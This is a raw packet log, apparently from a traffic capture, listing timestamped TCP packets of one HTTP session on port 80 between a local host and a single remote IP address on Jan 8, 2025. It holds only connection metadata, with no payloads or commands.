Jan 8, 2025 09:42:32.582256079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582259893 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582269907 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582276106 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582289934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582292080 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582304955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582315922 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582318068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582331896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582348108 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582360983 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582361937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582380056 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582384109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582411051 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582411051 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582412004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582437038 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582451105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582462072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582470894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582470894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582478046 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582493067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582513094 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582526922 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582535028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582535028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582541943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582551956 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582567930 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582582951 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582583904 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582597017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582600117 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582623005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582633972 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582633972 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582643986 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582657099 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582668066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582674980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582681894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582681894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582691908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582710981 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582730055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582743883 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582745075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582755089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.582786083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.582811117 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.609128952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.609148026 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.609172106 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.609184027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.609193087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.609194994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.609220982 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.609220982 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.609245062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.609261990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.609272003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.609287024 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.609303951 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.609303951 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.609325886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.671436071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.671458960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.671475887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.671514988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.671518087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.671518087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.671529055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.671577930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.671577930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.671606064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.671617985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.671631098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.671643019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.671652079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.671657085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.671684980 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.671684980 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.671705961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.671710968 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.671720982 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.671770096 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.676709890 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676723003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676737070 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676748991 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676759958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676770926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676776886 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.676795959 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676809072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676810980 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.676811934 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.676822901 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676837921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676841021 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.676852942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676891088 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.676892042 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.676920891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676955938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676970959 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676983118 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.676985025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.676995039 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.676996946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677035093 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677067041 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677083969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677097082 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677108049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677120924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677133083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677135944 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677135944 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677146912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677156925 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677161932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677175045 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677201986 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677201986 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677234888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677252054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677265882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677278996 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677290916 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677331924 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677428007 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677440882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677453041 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677464962 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677468061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677478075 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677490950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677503109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677517891 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677517891 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677521944 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677535057 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677536964 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677550077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677563906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677565098 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677598000 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677615881 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677655935 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677668095 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677679062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677690983 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677695036 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677702904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677716017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677728891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677731037 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677747011 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677779913 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677783012 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677795887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677808046 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677834988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677845955 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677845955 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677846909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677860022 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677872896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677884102 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677892923 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677892923 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677896976 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.677948952 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.677958965 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678163052 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678175926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678185940 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678193092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678205013 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678205967 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678220034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678234100 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678240061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678250074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678262949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678276062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678286076 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678286076 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678288937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678302050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678314924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678317070 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678330898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678339958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678369999 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678385973 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678570032 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678582907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678622007 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678622007 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678626060 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678639889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678658009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678664923 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678670883 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678678036 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678678989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678679943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678684950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678687096 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678688049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678690910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678694963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678702116 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678714037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678719044 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678719044 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678726912 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678740025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678755045 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678766966 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678769112 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678769112 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678778887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678793907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678805113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.678808928 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678831100 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.678853989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.699691057 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.699703932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.699717999 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.699743032 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.699743032 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.699760914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.699767113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.699769020 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.699774027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.699784040 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.699798107 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.699832916 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.761981010 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762017012 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762038946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762052059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762073040 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762094975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762109041 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762172937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.762192011 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762207985 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762219906 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.762222052 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762237072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762242079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.762250900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762262106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.762284994 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.762319088 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762334108 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762346029 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762356043 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.762377977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762388945 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762399912 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.762402058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762417078 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762427092 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.762429953 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762459040 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.762465000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762478113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.762485027 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.762502909 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.762520075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767267942 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767281055 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767294884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767333984 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767342091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767360926 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767371893 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767390966 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767391920 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767406940 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767416000 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767420053 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767435074 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767445087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767458916 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767503977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767515898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767529011 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767535925 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767540932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767554998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767564058 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767564058 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767585039 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767662048 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767674923 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767687082 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767699003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767699957 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767714977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767728090 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767754078 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767788887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767802000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767816067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767827988 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767838001 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767852068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767854929 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767864943 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767877102 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767879009 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767889023 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767903090 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767913103 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767925024 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767931938 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767940998 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.767956018 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.767972946 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768085003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768095970 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768109083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768121004 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768122911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768137932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768147945 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768151999 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:32.768172026 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768189907 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:32.768261909 CET	80	49708	176.113.115.19	192.168.2.8
